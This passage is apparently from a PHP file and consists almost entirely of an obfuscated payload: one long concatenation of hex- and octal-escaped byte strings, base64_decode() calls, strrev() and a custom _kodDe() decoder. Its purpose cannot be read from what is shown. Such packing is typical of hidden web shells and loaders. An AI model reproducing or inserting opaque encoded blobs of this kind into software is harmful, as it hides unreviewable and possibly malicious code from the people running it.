x3a\x51\x52\x5e\xd1\x1d\x8\xfb\x3\xce\x47\x5b\x72\x14\xec\xfa\xcc\xa0\x18\x42\xf5\x76\x80\x3d\x35\xc1\x2e\x10\x8b\x13\x3b\x20\x2d\xb5\x93\xb6\x62\x23\xcc\xbf\xd4\x28\xa9\x31\x6d\x81\x98\x3f\x1a"."\154\15\300\243\6\76\121\323\11\23\65\35\132\263\42\24\213\256\344\141\376\306\267\302\16\223\122\307\220\271\136\261\165\104\365\44\215\134\71\137\40\215\125\152\260\22\131\215\13\157\72\344\5"."\x99\x52\x83\x37\x50\x4\xd0\xb0\xd1\x82\x3a\x6c\xa5\x85\xe8\x1a\xd7\xae\xa9\x75\x35\xb8\x1a\xeb\x15\x30\xd2\x44\x4b\x80\x69\x26\xa5\x6\x54\xd6\x79\x39\xdb\x47\x5c\xfd\xb6\x58\xa3\xab\xa1\x5e\xa9\x29\xe\xd4\x40"."\xbb\xc4\xb8\xa2\xd6\x27\x68\x4e\x53\x51\x5d\x75\xd0\x60\xb9\xb9\x22\x2f\xa2\x8b\xa6\x55\x52\x75\x74\x1e\x50\x92\x2e\xe\xe2\xe5\xd1\xaf\xcd\xdc\x52\xd2\x23\x4a\xd0\x79\x42\x39\x9c\x30\xc5\x17\x6e\xb3\xe7\xa4\x56"."\232\272\152\211\306\147\322\143\161\163\57\154\232\153\353\225\176\170\52\122\45\221\24\263\15\106\213\155\60\352\146\2\235\350\132\312\347\233\76\264\120\350\303\100\332\54\325\144\23\5\120\62\125"."\30\112\147\213\345\65\120\67\320\344\320\374\50\300\123\360\103\4\136\23\42\107\74\201\315\40\206\363\111\254\222\106\314\147\325\120\106\217\366\63\157\146\30\251\3\323\4\235\153\170\37\30\56".base64_decode('c6UobnwLP3EMxP0dFMtjEpqn+qfbEFUMp2JDEX5agHx0uWCCMIXkC4bx+1f6tC/m7wh0+jw=')."\100\304\51\46\320\374\230\265\122\132\224\132\114\371\50\250\326\66\374\344\103\154\310\342\344\253\150\135\45\54\304\14\321\121\50\146\240\61\60\373\12\261\261\240\222\42\55\265\324\14\16\124\311"."\255\304\105\242\361\4\32\0\40\317\22\325\255\225\166\13\111\57\35\277\127\33\142\374\133\32\161\67\6\63\350\223\352\147\306\344\120\345\270\116\177\44\334\36\144\257\30\333\340\120\134\114\31"."\xb6\x4c\x6d\xd1\x20\xb6\x72\x2\xdf\x57\x58\x55\xd2\xdb\x51\x14\x11\x8a\x1e\x28\x52\x1c\x4e\xf1\xb0\x30\x1c\x81\x13\xf8\x9e\x8f\x22\x62\xcb\x47\x11\xbe\xd9\xe0\x5c\x92\xd5\x3b\xfc\xfd\x58\x98\x87\x5\x6f\x8b\x22"."\335\61\366\104\4\123\337\125\155\74\334\301\337\172\343\204\110\124\212\370\242\276\316\30\217\106\127\361\47\47\34\106\237\236\44\302\335\235\202\342\207\174\53\21\262\104\4\203\302\250\165\235\147"."\xc6\x92\xfa\x5e\xfa\xec\x90\x6\xe9\xcf\x89\x2c\x86\xdf\x3a\xf5\x6d\x68\x74\x29\x73\x37\xd5\x43\x1e\x6e\x2d\xc4\xca\xea\x5\xc6\x41\xe2\xaf\xac\x8\x25\x42\x91\xa5\x34\x4e\xac\xf1\x5\xa\x29\x71\x14\x51\x7a\x14"."\xc4\xce\xc6\x5\x3b\x6b\xb2\xad\x8b\xaf\x6\x5\xe1\xb0\x42\x5f\x2f\x2b\xe1\xc8\x2a\x9f\x30\xf0\x26\x25\x0\x44\xd8\x7b\xf3\xae\xed\xe9\x1d\xee\xf5\x20\x66\xc1\x5c\x27\x9e\x11\xb6\xb5\x2a\x8c\xd\x21\x86\x62\xe0"."\144\17\245\175\154\33\135\347\202\35\43\221\63\62\314\204\23\42\210\214\135\240\277\253\131\200\320\112\50\220\44\57\323\107\170\43\174\356\223\22\275\33\173\117\350\165\173\350\333\115\314\274\364"."\272\104\223\22\201\325\150\217\215\305\154\17\117\23\171\374\260\35\152\107\275\204\20\135\265\64\262\10\176\340\260\265\10\270\175\210\56\156\341\223\31\130\261\61\214\376\56\215\157\14\240\277\41".base64_decode('9BOKo+nSeQa0JEPB5YGN+B+RUM8Hkr58shcIhjeifxGB2RgMOytrDcRXBQI0AwvDr8iKCA4=')."\164\125\262\326\210\137\43\100\262\170\235\0\125\47\22\165\144\60\335\175\63\353\23\11\257\331\15\370\302\155\236\324\325\116\153\254\205\75\304\27\363\13\352\153\103\210\112\134\40\157\7\354\210"."\300\155\20\102\174\151\64\322\335\45\305\73\174\53\203\341\245\54\346\235\301\102\63\240\152\245\55\30\103\103\344\147\310\50\114\43\312\161\140\70\11\133\44\163\275\66\224\156\103\224\35\105\44"."\x96\x1d\x1f\x6\x28\x65\xb6\xaf\xb2\xd6\xee\x60\xa8\x4d\x7e\x5d\x8f\x33\xc2\x86\x42\xa8\x3a\xec\x29\xd3\x59\xe3\x58\x9c\xbc\xb3\x67\x11\x3c\xe4\x2c\x4c\xd0\x8d\x45\xc8\x18\xb0\x8\x1d\x0\x16\x23\xc3\xc5\x22\xc4".base64_decode('BCOLkI6yCD6dBMIsDZ380KmNHeey6hB/LLow1S8ZRME02EOFYdhiDjoqqlwc6pBfEtGTdJw=')."\xa7\x4a\x81\x8a\xf4\x4a\x1d\xb\x42\x25\x71\x91\x97\xe6\x40\xcc\x27\xc9\x83\x7e\x7b\xd7\x2d\x21\xcc\xf1\x3a\x86\xa7\xf4\x9d\xb4\x15\xd7\xad\x9c\xed\xa3\xf0\x4c\x11\x7d\x34\x48\x5e\x89\x4a\x9f\x65\xcf\x39\x88\xdc"."\57\141\110\262\150\262\157\313\0\41\151\242\202\153\20\322\12\101\16\326\215\44\342\133\32\265\237\250\70\231\132\307\17\112\140\41\303\5\277\320\242\157\320\237\136\210\62\311\104\57\174\244\326"."\5\233\156\57\143\330\173\172\107\32\32\334\350\237\371\350\157\53\372\353\107\177\3\30\320\336\73\62\257\35\5\26\264\367\171\313\120\252\267\146\262\341\204\14\154\120\41\132\103\243\254\224\316".base64_decode('98hkFlvkSVh5JhAnhzkhc6YycRFvi0a6KMeiBNsVaqBCqaVS9FpgxfzRAF5NNBdLq6u1yas=')."\x16\xd7\x2a\xf0\x76\xbd\xde\x5e\x2a\x18\x6e\xb\xac\x56\x6a\xf5\xd4\x48\x42\x55\x13\x50\x58\x41\x6b\x97\x55\xa4\x54\xd4\xc4\x6a\xa0\x6d\x85\xdb\x2f\x33\x6b\xc\x2b\x32\x3a\xb2\xf3\xb5\x9f\xc2\xe2\x2\x45\x2b\x58"."\x39\x62\x6a\x82\x3d\xbf\x75\xc1\x21\x9e\xa7\x50\xe\x9a\x26\x5\x63\x68\x83\xf\x85\x48\x4f\x51\x92\x6e\x62\xc6\xd7\xa5\x70\x8b\x10\x18\x88\xf\x2b\x54\xf6\x9\x15\xb1\x4\x5a\x11\x4d\xa\xac\x8e\x47\x7d\x18\x48".base64_decode('uNWDpqA/hADh01Qpr9I3qYTH86wDocI6G0tJmU3MVAKGkS1S6hNPIZIFOsyy3GE5cOk01hU=').base64_decode('DXb6omtgyMSZAZaokbO9TBYR3eyWHvGHUavlR/10jjlFRudfRpFRa2iwBs88DYKF3QR/+sw=')."\x84\x2e\x75\xec\x9\xb1\x8b\x5\x98\x75\xc\xf2\x3a\x8b\xc9\xab\xf2\x88\x44\xf1\x98\x98\x35\xc0\x7d\x98\x15\x39\x55\x7e\x5f\x26\x4c\x0\xe3\x4d\x15\x4f\x32\xdb\x1d\xda\x7d\xdd\x21\x19\x2\x43\xa5\x2c\xf\xac\xf9".base64_decode('kjXCWlptjbA0Jr4RNz58LKBndXOgp9SQR10TOs2WC9hyDZMRiofaQ/hdtVqqa5rDCrG2w44=')."\335\35\217\44\320\256\24\15\340\75\242\242\57\322\31\136\236\60\50\214\63\160\133\313\137\322\155\226\247\132\267\171\171\56\305\12\204\227\6\303\201\26\374\10\34\361\12\254\271\40\247\303\266"."\107\347\103\75\301\110\42\204\370\353\204\54\212\13\106\100\14\154\63\154\231\110\10\203\60\36\125\50\233\133\245\262\144\46\120\67\210\142\167\47\177\3\102\64\321\21\262\370\204\131\10\56\252".base64_decode('Jmnlflxa3vqgvMN+rG404xScmXI8C0X2hO3jTk1uGSyUzMXlL7tf5mYGoUC3ZDcBF1bYB8k=').base64_decode('dU/B3jy02eaYHbKEJnqT10yTXwLHs5piFrUkMViqgJk9JWVoprBuDmNPzlwsaGWFAQzZ0m8=').base64_decode('Wysb5HLBimk5ENG39RNtfvFkTzyIkrT8ySWMmDlqv9BREGoK8qGRcglgSJj2xXceos4+Jjk=').base64_decode('EOMxprMN0nlLyBtZMLq0Ul4nFz2rxD0O7EGoAjr/HudbLXnU8eVgRU5s6OPL5pCZzCItk94=')."\x6b\xe2\x28\x23\xa\x79\xdb\x7b\xb0\x72\x1\x7d\xc4\x2d\x3f\x8e\x42\xb8\x43\x80\xd2\x73\xc\x66\xec\x91\xc6\xe6\x81\xb6\xe\xc2\x4f\x8\x64\x0\xc2\x7e\x4b\x2c\xc5\x23\xc\x3\x91\x3a\x31\x6f\xe5\x16\xf6\x2f\x52"."\252\374\204\125\262\217\77\125\306\24\62\345\2\267\323\272\154\14\303\43\254\43\363\345\162\42\237\50\374\264\33\256\333\61\333\236\116\110\155\351\342\371\205\135\124\72\32\322\64\20\0\15\222"."\x5\xae\x34\x8b\x46\x74\xe8\x18\xff\x47\x25\xdc\x91\xa0\x9d\xcc\x7a\x15\xd8\x66\xe\x19\x19\x4e\x9b\x10\xfb\xa\x96\xcc\x6c\xf4\x29\x18\x81\xb2\x1e\xd\x3f\xce\xa2\x4f\x65\x2\xdc\xb4\x25\x2a\x48\xd\xd0\x7d\x75".base64_decode('oW7JPPUkJKVqOT9k5B8sEdHTV38wqgmOABUjb+G+spAgseRLpJBElh1lCDrSdzsw81lIFjg=')."\206\366\202\160\44\321\201\266\233\10\143\130\164\63\156\43\357\254\24\220\20\13\361\123\111\57\171\224\14\307\307\205\104\235\200\136\160\302\144\157\100\224\233\207\230\212\10\30\103\23\214\202\217"."\376\254\311\247\334\250\341\200\165\51\315\342\46\251\310\53\117\311\140\226\364\244\73\317\11\354\260\144\217\126\35\322\360\323\67\46\234\251\320\256\201\256\124\166\16\232\210\157\317\142\221\356\50"._kodDe('L9iqYLDQGzM57fLrJHTByjIabH+MhQ/pP0WFYvQIqIJ1WfIJEfGwL7XMlw9AsMUIXFDKP3gf')."\xbc\xbc\x6a\x2\x62\x48\x3a\xa5\x22\x14\x18\x8c\x7\x3a\x9d\x30\x7b\xd\xb1\x80\x2f\xca\xc\x6d\xe3\x78\x6b\x28\xe2\x97\x92\x83\x91\xca\x91\xe0\x1c\xf\x7\x52\xf1\x24\x5\x7a\xd7\xd6\xf5\x6e\x20\x27\xa6\x66\x74".base64_decode('cEptxHIMd6JvZv2S3k31db3eJZ4ZXPxGyZX0dHgSsMk2n2YnAO9bDEiLQczr8cBHeMDb62U=')."\x76\xcf\xbc\x22\x11\x7e\x45\xfe\xe3\x1d\x7b\xc\x18\xb6\x8f\x51\x23\x52\xb6\x86\x3a\x4c\x98\x30\x9b\x1\x1e\xe7\xfb\xb4\x4\x7b\x94\xc6\x28\xab\x9a\x66\x6a\x4\x41\x7a\x89\x9b\x88\xad\x89\xf1\xb9\xb2\xc3\x6c\x18"."\x49\x71\x5a\xd6\xa6\x70\x64\x46\x7f\xbb\xe4\xac\x58\x51\xa7\x6a\x46\x1b\x4a\xdb\x9e\x6c\xcb\x20\x8f\x6e\x88\xd5\x22\x96\x75\xca\x48\x96\xb1\x5d\x28\x31\x47\xe2\x81\x37\x2\x79\x6c\x55\x20\x82\x3e\x20\x64\x4\xb0"."\52\143\154\365\26\320\136\11\233\261\37\161\255\113\73\202\313\226\207\72\303\221\256\25\321\130\274\173\345\252\325\153\300\54\151\63\103\232\264\342\146\22\21\260\363\353\105\374\272\167\210\71\65"."\130\211\17\44\232\351\225\231\71\16\104\175\304\6\232\231\45\71\52\310\340\251\230\172\170\253\47\321\332\274\371\202\325\70\111\216\256\222\326\157\30\326\44\251\53\73\277\274\142\110\354\351\65"."\xfb\x38\x96\xa6\xb4\x21\xd6\x69\xd\x74\x2a\x85\xca\x9b\x29\xce\x63\xc0\x6d\xb8\x65\x2f\xb\x18\x6d\x65\xc6\x31\xd5\xef\x60\xb\x0\x20\xc\x88\x49\xcc\x83\x0\x72\x5b\xdd\x34\x3a\xaa\x9\xf5\x41\x63\x58\xb2\x75"."\315\126\17\52\16\54\25\330\336\135\212\115\315\62\323\262\203\304\122\250\323\314\350\240\133\35\260\245\13\373\327\203\156\164\202\265\305\35\246\106\117\40\133\101\247\221\51\65\171\55\334\316\2"."\xda\x3e\xa0\x2d\xc0\x50\xc8\xab\x85\x6c\x29\x5c\x2f\x8\x6f\x5c\x1d\x8e\xb5\xca\x81\xdc\x14\x48\x8c\x68\x4d\x36\x2b\xb3\xc1\x6b\x41\x3b\x62\xbd\x53\x4a\xf\xe5\xa6\x41\xfe\x8f\x39\x31\x62\x78\x9f\x46\x5d\x8a\xb0".base64_decode('D84kt3bD32y5YCGb9BA3KRuCYMQ3PyAUzfIDXCMkaWM+8D7fLumjCf4CXIugtNZRpmELz1s=')."\133\107\243\222\323\44\233\21\16\331\31\213\132\54\372\263\270\17\266\65\154\3\45\345\110\32\353\261\310\372\57\166\353\343\50\271\215\62\171\51\236\337\24\41\156\116\74\55\31\32\257\250\1"."\x31\x84\x85\x0\x7b\xc9\x5f\x91\x8a\xb8\x47\x5d\x24\x7f\x79\x5b\x3a\xc9\xf0\xf2\xcc\x70\x80\x80\x35\xc1\xb6\xe\x93\x2d\xca\x13\x46\xdc\x86\x69\xba\x8b\x25\x3\x6b\xc0\xb5\xe8\xf9\x8c\xd7\x1c\x86\xb4\x9c\x6a\x5a"."\53\155\306\221\276\322\302\70\266\1\322\311\331\151\150\302\210\233\140\65\373\10\24\305\40\157\211\230\35\164\15\303\366\341\42\366\105\23\15\14\141\274\250\155\136\154\176\222\360\275\134\161\55"."\x12\x63\x97\x45\xf6\xde\x53\x87\x5a\xd2\x49\x1c\xc\xcb\x2d\x65\xaa\x3d\xdc\x98\xb7\xb0\xdd\x4c\x65\xfc\x34\x2c\x6c\x1e\x23\xf6\xdd\x97\xc1\x26\x51\x8c\x2\x7b\x30\x43\x9d\x39\xc8\x96\xdf\x53\x1a\x69\x2e\x7f\xc9"."\x2f\x19\x4d\xc7\xe\x45\xd0\x52\x67\xba\x7d\x92\xf9\x74\xc4\x10\x66\xf8\x34\x12\x6b\xc6\xb2\x55\x4a\x3c\xe4\xee\xbc\xcd\x8f\x8\x9d\x20\xbb\x51\x72\x53\xd3\x6\x98\x2e\x22\x9e\x6d\x41\x51\x4a\xdc\x76\x3c\xbd\xfa".base64_decode('dVcFuCXtQrqeJP8S+HMgB8hSzxXQXvpzUrXWu0vCnDuaHeoHY7k2ysxuf7nl7t6lvZ29cbk=')."\273\126\111\115\247\121\143\45\173\263\174\22\205\375\166\300\44\342\17\206\165\177\162\353\357\160\247\161\102\125\343\361\220\30\245\375\366\343\223\327\10\166\326\41\214\235\166\107\103\266\213\52\310".base64_decode('yno4lnX7mSaYUc6lyGkWfcrIoYO8uLKeuOwnE7dfuuehKyfO/+nbd983sf1eCqcj1qYV+Lw=')."\117\154\371\301\356\373\176\274\347\346\207\336\271\354\346\17\356\77\157\317\316\273\260\112\322\125\77\245\32\112\343\27\234\66\161\351\55\343\27\234\273\347\316\63\46\356\275\160\342\307\247\277\363"."\303\13\377\164\312\151\260\162\12\304\352\252\257\224\51\213\161\242\105\46\176\162\377\370\375\27\274\163\311\17\367\354\334\51\345\267\260\302\134\116\132\72\150\26\307\317\334\374\316\351\327\217\137"."\x70\xd1\xee\x4b\xae\xaa\x28\x40\x3f\xe0\x9c\x67\xdc\xbd\x4b\xcf\xde\x7d\xc5\x19\x52\x8a\xb3\x50\x2b\x31\x48\x2f\x8e\xf0\xbc\xc\x4d\x18\xbf\x70\xeb\xee\xeb\x6e\x71\x16\xa2\x1e\xa\xaa\x14\x9a\xd8\x76\xd6\xdb\xf7"."\xed\x72\x14\xa\x1b\xb1\x72\x32\xdb\x2a\x59\xbe\x9f\x38\xef\xac\xf1\x9b\xaf\xe0\x1f\x79\xfb\xee\xad\x54\x11\xdd\x51\x84\xab\xc8\xf1\xfc\xb4\xfe\xca\xfc\x31\x86\xd1\x6d\x86\x66\xa2\x7d\xb4\x53\xb5\x92\xb0\x88\x77"."\xdf\xf4\x20\x6a\xf\x1d\x31\x79\xe6\xc6\x77\x9e\xb9\xfb\x27\xa7\xee\xbe\xe9\x1c\x98\x89\xcb\x77\x8e\x5f\x78\xed\xc4\x4d\x3b\x76\x5f\x7d\x33\xaf\x16\xb0\xca\xa6\x8a\x8b\x2b\xb8\xf5\xb4\x3d\xbb\x36\x4f\x5c\xb6\x8b"."\147\304\113\76\245\210\74\4\243\150\36\254\164\117\76\270\373\201\213\166\337\267\35\43\311\271\247\355\76\355\236\361\355\267\214\377\370\24\376\331\361\273\357\26\243\34\361\22\227\152\125\210\355"."\12\14\7\162\233\26\332\332\305\262\344\325\117\46\160\230\45\343\236\330\260\220\212\72\223\140\234\26\361\373\0\76\211\132\330\242\105\343\130\150\65\122\60\366\33\152\20\351\254\151\256\231\126"."\207\176\353\153\134\65\370\0\102\342\230\170\142\0\151\107\115\363\264\72\22\250\7\253\114\143\260\157\110\226\243\305\302\3\321\355\22\104\75\244\13\316\45\144\33\302\233\134\223\267\311\313\66"."\276\45\203\370\213\302\223\130\67\337\157\4\77\110\167\36\352\2\206\335\202\206\65\153\330\50\311\112\315\115\15\360\342\50\53\355\33\171\23\166\0\352\232\101\310\275\0\365\250\316\341\205\133"."\x2b\x91\xe\xa\xf4\x53\xb5\x61\x5b\xf6\xbb\x6e\x1b\xdf\x7c\xfb\x3b\x97\xdd\xe4\xcc\x4b\x5\x2b\x90\x17\xb3\x67\x15\x6e\x28\xe9\x4b\x8d\xf1\x8b\x2e\xaf\xfc\x1e\xc9\x6f\xff\x1a\xcb\x3c\x7e\xea\xf6\xdd\x97\x38\x72".strrev('MӰl\\%rݫOX͙DUrtE[E2')."\354\371\145\176\41\51\366\335\274\10\122\57\117\315\212\354\203\115\62\220\116\344\237\164\143\143\252\117\0\303\254\4\3\11\266\42\55\336\245\140\356\40\141\347\16\116\164\264\27\253\256\270\21".base64_decode('i4/XGFq4li55O5Cz2J16OV19OUeBFMECU7fsZmwEndBwMvYQ48biV7eemixFEI6qTU2CT4k=')."\152\131\272\313\172\312\371\111\242\242\343\56\227\331\7\253\126\52\237\37\131\6\322\211\40\257\317\346\34\105\105\163\315\157\30\235\276\127\304\341\133\255\164\15\262\46\237\122\232\146\65\317\131"."\x80\xfe\x7\x2e\x83\x69\x18\x95\x8b\xec\x2d\x0\xa\x32\xd7\x21\x53\xbd\x69\x46\x6b\x84\x93\x2e\xd6\x37\x3c\xe1\x92\x43\x1b\x1b\x58\xc\x23\x77\x14\xc2\x88\x94\x2d\x9f\x68\xad\xcd\xc5\x1c\x74\x94\xca\x7e\x24\xf".base64_decode('POTuh5IorHeX4J6KqlBrnXmhkox183nIsECJH/FVsTL6cwOiA4SsAGIPoPYZ4qBEWFSJICQ=')."\xb3\xe5\xc2\x40\x8b\x94\xa8\x58\x86\xa1\xe4\xd5\xc2\x28\x9c\x3f\xa7\x9b\xcd\xd3\xcd\x85\xf8\x43\x2d\xf8\x9d\x87\x39\x9d\xb9\xa9\xc2\x1b\x93\xb0\x41\x4a\xcd\x60\x41\xa\xbd\xd6\xf2\x60\x27\x73\x1e\xbc\xeb\x45\xcb"."\334\52\73\63\177\16\303\105\204\304\64\334\105\350\75\354\200\324\375\27\44\204\272\227\6\303\222\236\240\4\110\370\333\302\11\137\127\127\325\4\371\33\136\254\144\343\131\57\171\37\245\241\105".base64_decode('6FimJPEro5YaDK1RzFKSGfGu8YLaGckgOKRFOhSpxUWUNMIXNwnR5NrFi7w6lPR4j8f024s=')."\x15\xee\xa\x27\xe0\x69\x95\xf5\x7f\x8\xb4\x5d\x58\x19\x53\x94\x45\xaa\x42\x87\xb2\xa5\x96\x5c\xab\xd4\x2a\x59\xb4\xc7\x73\x6d\xe3\xc5\xce\xc2\xdc\x63\xdc\x22\xaf\x2a\x27\xe2\x95\x14\x35\xd8\xd9\x91\x9f\xd7\x87"."\270\75\316\252\67\152\76\311\5\1\361\340\344\127\13\53\53\213\340\312\75\111\71\211\271\366\314\22\71\203\343\166\166\121\161\361\42\174\21\304\124\372\274\44\262\310\133\134\54\317\66\171\12"."\126\371\61\57\21\63\171\205\134\43\101\235\260\126\277\276\344\267\166\125\360\10\253\337\240\205\301\364\36\324\344\0\106\122\261\175\100\63\40\241\13\113\51\150\202\315\71\213\45\151\114\225\361"."\213\110\162\7\124\22\276\355\66\154\240\25\141\307\103\233\66\125\302\100\7\333\231\344\53\352\116\20\106\70\47\14\113\213\4\14\355\203\366\317\120\144\227\63\11\10\313\103\177\105\231\120\170".base64_decode('qYjQc74tsYdpT5FYb0+tZ8amTV6daSoyLSlW1sNz03ivx54f9QSGnmcEgDMnRaplgEUHeWc=')."\210\127\234\134\43\121\301\152\212\55\55\213\173\70\353\325\307\322\22\104\310\42\317\35\143\135\365\306\371\14\51\320\331\62\276\212\7\375\141\301\234\363\145\104\11\223\207\210\373\174\166\253\342"."\113\204\373\77\231\224\321\260\257\130\264\121\40\26\301\27\142\71\275\337\313\311\6\275\44\363\44\305\63\111\226\205\20\55\7\34\53\30\72\22\260\163\10\2\36\102\24\327\50\161\62\307\341".base64_decode('qC4OBDTHpEiiPDx5kZks6UXLRgapJ+sa4iluvTqk0iw1CojyWmqIx48atKRpCqN9vIGL8Nc=')."\x10\xbf\x9c\x6b\xa9\x21\x9d\x30\xb3\x9a\x86\xca\x13\xd2\x56\xed\x23\xa8\x60\x8d\xc2\x88\x6f\x5e\xe5\xe3\x58\xb2\xc\xb4\xc1\xf2\x57\x77\xe0\x98\xb3\x3b\xa\xf\x9a\x7c\x61\xb8\x9a\x3c\x7e\x2d\xfd\x9d\x76\x3c\xc3"."\44\342\65\64\207\30\151\362\134\203\220\71\302\255\247\261\210\226\146\2\7\241\135\321\110\74\342\147\116\366\354\262\134\12\233\315\116\36\46\175\160\52\16\153\354\265\35\327\122\142\71\70\313".base64_decode('4QUIYEOpXChwBVGMr3yrbKn+p4fcnmqpvknSlR6V3a2CwJleFrPnotBOtCnH8eN5E8CSzVI=')."\154\61\125\113\171\172\250\11\200\226\6\366\344\212\251\243\212\227\226\54\247\234\242\340\235\244\217\217\72\132\377\136\40\237\142\145\325\342\353\100\360\177\125\353\252\255\363\314\250\257\255\114\241"."\212\277\366\164\254\125\227\130\26\103\211\340\155\12\70\2\362\246\321\37\12\6\302\361\104\20\230\201\306\246\171\236\6\361\336\120\67\205\15\140\32\366\313\206\15\360\250\172\154\335\252\62\64".base64_decode('9D4mztVWtYJNPEuHNGcw67RNDQ0N7oZG9D97h8FsYjY3NFRkaWhoJv/TBHInAihoT0EkkdE=')."\162\310\60\254\61\313\110\260\167\242\343\163\231\61\251\75\176\374\114\124\301\115\203\151\21\152\267\10\373\210\321\130\106\126\155\56\114\25\242\33\0\61\115\14\102\136\162\273\31\3\43\303\31"."\x1b\xb6\xb3\xab\x3\x6a\x50\x9c\x6d\x9b\xa8\x51\x19\x32\x40\xd0\x76\xfe\x2\x19\x65\x13\x2b\x68\x21\x7d\x17\xde\xc2\x1b\x18\x28\xa4\x7a\xe4\x8f\x79\xd8\x40\x53\xa0\x30\xa6\xef\x66\x9\x6e\xd9\xa7\xd\x14\xa2\x44"."\117\334\55\332\232\206\312\330\55\323\142\10\142\212\222\274\317\30\40\211\161\61\67\54\131\333\305\121\371\12\221\44\363\147\274\44\226\343\306\107\160\64\314\153\242\236\235\250\253\36\30\303\52"."\53\62\153\14\47\4\237\202\243\313\170\214\14\51\76\216\62\224\114\111\117\255\361\270\262\375\111\312\316\25\335\204\226\20\60\160\304\242\306\200\156\267\370\221\220\212\312\143\273\20\147\144\75"."\x89\xdb\x4b\x62\xff\xd2\xb8\xa1\x6e\xdc\xee\x66\x31\x8a\x88\xbe\xf9\xb8\xcf\x2b\xaa\x17\xcd\xda\xab\x0\xc5\xa1\x51\x62\x6e\x9f\x3a\x56\x26\x42\x9f\xe6\x83\x2a\x26\xdc\x72\x4e\x36\x99\x37\xdb\x4d\x88\x53\xe3\x90".base64_decode('xaTZY5djsa9QCmSQAAPQaz0/N1UrVeBMcpTx0Tu1igIAr8xNrh6r5MZwR25ilNbPbW/Llmo=')."\xa9\xbc\x4a\x52\x3e\x33\xc1\xc3\x88\xd0\xfc\x61\x75\xf0\xf1\x42\xa7\x57\x4f\xb1\x64\x64\x10\x26\x98\xf2\xa0\x21\x78\x57\x75\x30\xcf\x5e\x99\xb3\x4a\x26\xde\x7a\x39\x9f\xc\xc4\x97\x9c\xcc\x63\x3b\xa0\x96\xb0\x66"."\xa0\xa6\xf8\xe6\x29\x65\x15\xe7\x4b\x9\x68\x5f\xe1\x52\x82\x9f\xbb\xa6\x93\x81\xf8\x58\x2c\xeb\x7a\x91\x53\x87\xbd\xe\x7c\xde\xb6\x43\x78\xcb\xbe\x4\xe9\x98\x78\xc4\x2a\xa9\x5\x33\x2d\x2b\xaf\xb0\x6c\x82\x4a".base64_decode('YdGV7Dg0YUMThqtMtQyPkFDisMMpjAowbDfHcUL8clocmgPkkSwqXEGIOZyO2Qy7A5o2M14=')."\x45\x2e\x66\x4f\xfb\xe3\x99\x17\xb1\xc0\xc5\x2c\x17\x1e\x56\xee\xac\x55\xbe\xa3\xc3\x43\x9a\x90\x65\x4b\x78\x45\x77\x70\x7\xf6\x55\x10\xd1\x8e\x6c\x15\x58\x45\xf6\x75\x5c\x41\x33\x27\x4b\x52\xc\xd7\xce\xae\x47".base64_decode('0aHbpJJSFwYr1BG6gt27T7XPT2UBcBBnIO4S272WC+G6uh0kajmnkjjG20pZO6YWq0z3NIE=')."\xca\xee\x74\xe6\x7b\x85\xd2\x68\xa1\x98\xe1\xb5\x5d\x6\x78\x10\x4a\x61\x5e\xb\xbe\xd4\x83\xfa\xda\x87\xce\x47\x62\xdb\x81\x59\xea\xa1\x64\x9b\x7d\x8\xf7\x3\x42\x29\x36\x69\x8a\x7d\x1b\x96\x36\x15\x45\xae\x8"."\155\317\361\54\26\32\365\51\244\355\13\211\73\217\52\251\330\210\7\373\32\67\14\16\333\1\312\143\130\374\114\215\253\367\245\244\175\66\44\63\305\161\132\304\275\130\64\325\246\212\40\71\45"."\340\131\121\63\130\343\125\326\66\242\173\112\234\77\110\307\174\107\324\251\251\213\113\110\154\20\212\112\133\64\141\20\54\266\307\63\327\17\102\303\225\4\5\125\376\343\345\147\262\300\146\201\134"."\61\111\61\262\112\373\240\126\136\47\156\101\101\50\330\2\247\123\322\222\106\51\205\167\111\311\154\116\301\212\152\31\71\112\264\36\330\22\21\146\343\345\52\260\205\62\211\26\341\245\351\113\132"."\x65\xd9\xde\x99\xe4\x59\x2\xc5\x24\xe7\x23\x12\xf7\xea\x6e\x54\x38\xdb\x9b\xa0\x35\xd3\xc8\x4c\x29\x81\xe4\xaf\xc6\x1\x3b\x44\xbf\xd2\xa3\x39\x22\xfd\x8a\x95\xfb\xf9\x25\xb6\x83\x17\x65\xef\xf0\x14\x99\xd5\x63"."\17\353\160\5\304\324\24\356\201\51\247\241\152\261\105\167\321\63\271\10\371\146\105\21\232\206\271\55\361\2\117\116\61\261\17\221\156\66\213\325\122\252\174\212\44\111\43\232\344\354\67\214\216"."\30\44\110\30\325\230\152\270\273\261\311\75\13\216\75\362\253\74\166\242\203\315\5\55\54\11\15\360\231\230\321\66\120\254\206\174\42\217\41\251\3\20\343\116\302\126\15\261\127\305\347\223\30".base64_decode('tuKxksRgaFzpmlh+kmm90HSiutg4Q3e1dDpCOLnNpj3vyIDWhz0dnISIxlDjU4ZNm9FRCTg=')."\263\221\335\240\220\122\242\37\342\211\1\2\31\324\25\211\64\60\102\143\213\332\304\142\157\50\70\221\23\340\270\301\201\225\132\137\30\53\241\112\152\276\0\216\311\165\365\330\174\201\115\104\331"."\71\312\37\231\143\215\112\274\163\163\235\171\123\216\260\124\216\234\246\55\102\65\110\155\245\71\210\347\32\326\230\45\2\166\274\357\352\350\362\162\120\53\137\236\124\272\42\114\356\371\231\232\246"."\x36\xa2\xc1\x49\x70\x38\xaf\x27\x95\x50\x64\x69\xd0\xef\xb\xb5\x5\x63\xcb\x95\xc\xbe\xc2\x15\xda\x8b\xa8\xb9\x9\xb2\x6c\x13\xa6\xf0\xcb\x43\x5c\x13\xd9\x17\x38\x91\x4f\xd3\xe9\x60\xb8\xde\xcf\x7d\xdd\xe0\xa0"."\273\37\35\56\334\51\176\50\63\305\361\213\364\20\52\23\316\4\355\325\122\254\324\112\25\65\26\360\63\302\134\105\31\54\165\257\222\73\47\204\306\122\346\142\111\253\314\77\252\141\55\112\251".strrev('\\J,ʲ(Pk*1+./^5'."\n".'g䊎 